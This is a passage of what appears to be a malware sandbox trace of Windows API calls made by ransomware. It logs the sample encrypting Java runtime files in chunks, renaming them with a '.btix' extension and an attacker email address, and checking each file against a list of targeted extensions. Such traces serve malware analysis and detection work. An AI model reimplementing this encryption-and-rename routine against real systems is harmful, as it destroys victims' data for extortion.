lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.041] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.041] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.093] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.093] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.093] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fca058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.113] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.113] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fca8*=0xc0104, lpOverlapped=0x0) returned 1 [0152.127] SetEndOfFile (hFile=0x3a4) returned 1 [0152.127] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x424ddb0 [0152.349] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.349] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.350] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.350] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.354] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.354] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.356] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0152.357] CloseHandle (hObject=0x3a4) returned 1 [0152.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.358] lstrlenW (lpString=".doc") returned 4 [0152.358] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.358] lstrlenW (lpString=".docx") returned 5 [0152.358] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.358] lstrlenW (lpString=".pdf") returned 4 [0152.358] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.358] lstrlenW (lpString=".xls") returned 4 [0152.358] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.358] lstrlenW (lpString=".xlsx") returned 5 [0152.358] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.358] lstrlenW (lpString=".ppt") returned 4 [0152.358] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.358] lstrlenW (lpString=".zip") returned 4 [0152.358] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.358] lstrlenW (lpString=".rar") returned 4 [0152.358] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.358] lstrlenW (lpString=".bz2") returned 4 [0152.358] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.358] lstrlenW (lpString=".7z") returned 3 [0152.358] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.358] lstrlenW (lpString=".dbf") returned 4 [0152.358] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.358] lstrlenW (lpString=".1cd") returned 4 [0152.359] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".jpg") returned 4 [0152.359] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".doc") returned 4 [0152.359] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.359] lstrlenW (lpString=".docx") returned 5 [0152.359] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0152.359] lstrlenW (lpString=".pdf") returned 4 [0152.359] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString=".xls") returned 4 [0152.359] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString=".xlsx") returned 5 [0152.359] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0152.359] lstrlenW (lpString=".ppt") returned 4 [0152.359] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".zip") returned 4 [0152.359] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString=".rar") returned 4 [0152.359] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.359] lstrlenW (lpString=".bz2") returned 4 [0152.359] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.359] lstrlenW (lpString=".7z") returned 3 [0152.359] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".dbf") returned 4 [0152.359] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".1cd") returned 4 [0152.359] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0152.359] lstrlenW (lpString=".jpg") returned 4 [0152.359] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.360] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.360] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0152.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0152.360] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=188024) returned 1 [0152.360] CloseHandle (hObject=0x3a4) returned 1 [0152.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0152.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0152.360] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.360] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.362] GetLastError () returned 0x0 [0152.362] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0152.365] WriteFile (in: hFile=0x394, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0152.368] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.368] WriteFile (in: hFile=0x394, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xfc, lpOverlapped=0x0) returned 1 [0152.368] SetEndOfFile (hFile=0x394) returned 1 [0152.368] CloseHandle (hObject=0x394) returned 1 [0152.368] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.368] SetEndOfFile (hFile=0x3a4) returned 1 [0152.370] CloseHandle (hObject=0x3a4) returned 1 [0152.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.370] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0152.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.370] lstrlenW (lpString=".doc") returned 4 [0152.370] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.370] lstrlenW (lpString=".docx") returned 5 [0152.370] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0152.370] lstrlenW (lpString=".pdf") returned 4 [0152.370] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.370] lstrlenW (lpString=".xls") returned 4 [0152.370] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.370] lstrlenW (lpString=".xlsx") returned 5 [0152.370] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0152.371] lstrlenW (lpString=".ppt") returned 4 [0152.371] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".zip") returned 4 [0152.371] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString=".rar") returned 4 [0152.371] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString=".bz2") returned 4 [0152.371] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.371] lstrlenW (lpString=".7z") returned 3 [0152.371] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".dbf") returned 4 [0152.371] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".1cd") returned 4 [0152.371] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".jpg") returned 4 [0152.371] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".doc") returned 4 [0152.371] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0152.371] lstrlenW (lpString=".docx") returned 5 [0152.371] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0152.371] lstrlenW (lpString=".pdf") returned 4 [0152.371] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString=".xls") returned 4 [0152.371] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString=".xlsx") returned 5 [0152.371] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0152.371] lstrlenW (lpString=".ppt") returned 4 [0152.371] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.371] lstrlenW (lpString=".zip") returned 4 [0152.372] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0152.372] lstrlenW (lpString=".rar") returned 4 [0152.372] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0152.372] lstrlenW (lpString=".bz2") returned 4 [0152.372] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0152.372] lstrlenW (lpString=".7z") returned 3 [0152.372] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.372] lstrlenW (lpString=".dbf") returned 4 [0152.372] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.372] lstrlenW (lpString=".1cd") returned 4 [0152.372] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0152.372] lstrlenW (lpString=".jpg") returned 4 [0152.372] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0152.372] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.372] lstrlenW (lpString="cldrdata.jar") returned 12 [0152.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0152.372] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=3860502) returned 1 [0152.372] CloseHandle (hObject=0x3a4) returned 1 [0152.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0152.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0152.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0152.373] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1 [0152.373] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.373] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.387] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.387] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.743] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.743] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.743] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fca058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.778] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.778] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fca8*=0xc0104, lpOverlapped=0x0) returned 1 [0152.793] SetEndOfFile (hFile=0x3a4) returned 1 [0152.793] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x424ddb0 [0152.797] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.797] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.799] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.799] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.802] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.802] WriteFile (in: hFile=0x3a4, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x351fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.210] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0153.213] CloseHandle (hObject=0x3a4) returned 1 [0153.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.213] lstrlenW (lpString=".doc") returned 4 [0153.213] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.213] lstrlenW (lpString=".docx") returned 5 [0153.213] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0153.213] lstrlenW (lpString=".pdf") returned 4 [0153.213] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString=".xls") returned 4 [0153.214] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString=".xlsx") returned 5 [0153.214] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0153.214] lstrlenW (lpString=".ppt") returned 4 [0153.214] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString=".zip") returned 4 [0153.214] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString=".rar") returned 4 [0153.214] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString=".bz2") returned 4 [0153.214] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.214] lstrlenW (lpString=".7z") returned 3 [0153.214] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString=".dbf") returned 4 [0153.214] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString=".1cd") returned 4 [0153.214] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString=".jpg") returned 4 [0153.214] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.214] lstrlenW (lpString=".doc") returned 4 [0153.214] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.214] lstrlenW (lpString=".docx") returned 5 [0153.214] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0153.214] lstrlenW (lpString=".pdf") returned 4 [0153.214] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.214] lstrlenW (lpString=".xls") returned 4 [0153.214] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.215] lstrlenW (lpString=".xlsx") returned 5 [0153.215] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0153.215] lstrlenW (lpString=".ppt") returned 4 [0153.215] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.215] lstrlenW (lpString=".zip") returned 4 [0153.215] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.215] lstrlenW (lpString=".rar") returned 4 [0153.215] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.215] lstrlenW (lpString=".bz2") returned 4 [0153.215] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.215] lstrlenW (lpString=".7z") returned 3 [0153.215] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.215] lstrlenW (lpString=".dbf") returned 4 [0153.215] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.215] lstrlenW (lpString=".1cd") returned 4 [0153.215] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0153.215] lstrlenW (lpString=".jpg") returned 4 [0153.215] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 